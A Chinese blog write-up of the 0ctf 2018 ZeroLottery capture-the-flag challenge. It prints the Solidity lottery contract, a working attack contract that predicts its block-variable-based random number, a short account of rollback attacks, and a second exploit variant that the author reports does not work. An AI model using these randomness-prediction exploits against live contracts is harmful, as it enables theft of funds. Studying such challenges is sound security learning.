Randomness(1)-0ctf_2018_ZeroLottery

Randomness(1)

随机数类型

wiki部分

wp1

0ctf 2018 ZeroLottery

题目最终需要我们做到的是

Your goal is make your ZeroLottery’s balance > 500

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
pragma solidity ^0.4.21;
contract ZeroLottery {
struct SeedComponents {
uint component1;
uint component2;
uint component3;
uint component4;
}

uint private base = 8;

address private owner;
mapping (address => uint256) public balanceOf;

function ZeroLottery() public {
owner = msg.sender;
}

function init() public payable {
balanceOf[msg.sender] = 100; //初始化,初始金额100
}

function bet(uint guess) public payable {
require(msg.value>1 ether);
require(balanceOf[msg.sender] > 0);
// uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
uint secretSeed = uint256(keccak256(
(uint)(block.coinbase),
block.difficulty,
block.gaslimit,
block.timestamp
));
uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;
if (guess != n) {
balanceOf[msg.sender] = 0;
// charge 0.5 ether for failure
msg.sender.transfer(msg.value - 0.5 ether);//猜错了,扣0.5 ether.
return;
}
// charge 1 ether for success
msg.sender.transfer(msg.value - 1 ether); // 猜对了,1 ether换balance100
balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
}

function paolu() public payable {
require(msg.sender == owner);
selfdestruct(owner);
}

}

解题

不怎么需要分析就是单纯的随机数预测,题目使用区块变量来生成了伪随机数,所以我们部署第三方合约调用函数时用同样的方法计算seed生成出来的随机数是一样的,因为此时两合约打包在一个区块中,所以所使用到的区块变量都是一样的。

攻击合约.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;

import "./source.sol";
contract exp {
address constance = address(0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8);
ZeroLottery target = ZeroLottery(constance);
constructor() payable public{

}
uint private base = 8;

function betSucess() public payable{
uint secretSeed = uint256(keccak256(
(uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp
));
uint n = uint(keccak256(uint(this), secretSeed)) % base;
target.bet.value(1.1 ether)(n);
}

function getBalance() public view returns (uint){
return target.balanceOf(address(this));
}

function InitBalance() public {
target.init();
}
}

初始化一次。然后调用四次betSucess即可。

还有一种回滚攻击看看wiki,很容易理解。
原理

在某些情况下,获取随机数可能过于困难或繁琐,这时可以考虑使用回滚攻击。回滚攻击的思想很简单:完全碰运气,输了就 “耍赖”,通过抛出异常使整个交易回滚不作数;赢的时候则不作处理,让交易被正常确认。

一些疑问

当我这样去写exp时,并不能每次都计算出正确的随机数,并且尝试了多次最多就只能正确算出一次,无法连续正确计算几次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;

import "./source.sol";
contract exp {
address constance = address(0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8);
ZeroLottery target = ZeroLottery(constance);
struct SeedComponents {
uint component1;
uint component2;
uint component3;
uint component4;
}
constructor() payable public{

}
uint private base = 8;
function seedSame(SeedComponents components) internal pure returns (uint) {
uint secretSeed = uint256(keccak256(
components.component1,
components.component2,
components.component3,
components.component4
));
return secretSeed;
}

function betSucess() public payable{
uint secretSeed = seedSame(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;
target.bet.value(1.1 ether)(n);
}

function getBalance() public view returns (uint){
return target.balanceOf(address(this));
}

function InitBalance() public {
target.init();
}
}

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!